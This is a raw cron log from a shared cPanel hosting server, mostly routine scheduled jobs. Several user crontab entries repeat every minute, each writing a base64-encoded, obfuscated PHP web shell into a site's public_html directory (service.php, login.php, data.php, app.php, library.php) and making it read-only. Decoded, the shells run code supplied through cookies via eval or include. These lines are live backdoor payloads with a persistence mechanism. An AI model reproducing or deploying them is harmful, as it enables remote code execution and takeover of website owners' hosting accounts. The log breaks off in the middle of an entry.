Mar  1 07:03:01 medusa CROND[27955]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:03:01 medusa CROND[27958]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:03:01 medusa CROND[27960]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:03:01 medusa CROND[27959]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:03:01 medusa CROND[27961]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:03:01 medusa CROND[27974]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:03:01 medusa CROND[27975]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:03:01 medusa CROND[27976]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:03:01 medusa CROND[27977]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:03:01 medusa CROND[27978]: (dvrwebcom) CMD (wget -O - -q -t 1 https://dvrweb.com.ar/cron/TFWp9Evg6VC1sv8IE8Na2W9fenvWY12YO3Y-d1qPcJK2Nfa2oj_gFfKbm5qAG6Ja8NZTvsgLfg > /dev/null)
Mar  1 07:04:02 medusa CROND[30989]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:04:02 medusa CROND[31057]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:04:02 medusa CROND[31182]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:04:02 medusa CROND[31184]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:04:02 medusa CROND[31185]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:04:02 medusa CROND[31186]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:04:02 medusa CROND[31187]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:04:02 medusa CROND[31188]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:04:02 medusa CROND[31183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:04:02 medusa CROND[31194]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:04:02 medusa CROND[31198]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:04:02 medusa CROND[31197]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:04:02 medusa CROND[31199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:05:01 medusa CROND[3395]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:05:01 medusa CROND[3539]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:05:02 medusa CROND[3543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:05:02 medusa CROND[3544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:05:02 medusa CROND[3547]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:05:02 medusa CROND[3548]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:05:02 medusa CROND[3546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:05:02 medusa CROND[3545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:05:02 medusa CROND[3549]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:05:02 medusa CROND[3550]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:05:02 medusa CROND[3552]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:05:02 medusa CROND[3554]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:05:02 medusa CROND[3558]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:05:02 medusa CROND[3559]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:05:02 medusa CROND[3561]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 07:05:02 medusa CROND[3562]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:05:02 medusa CROND[3563]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6Omc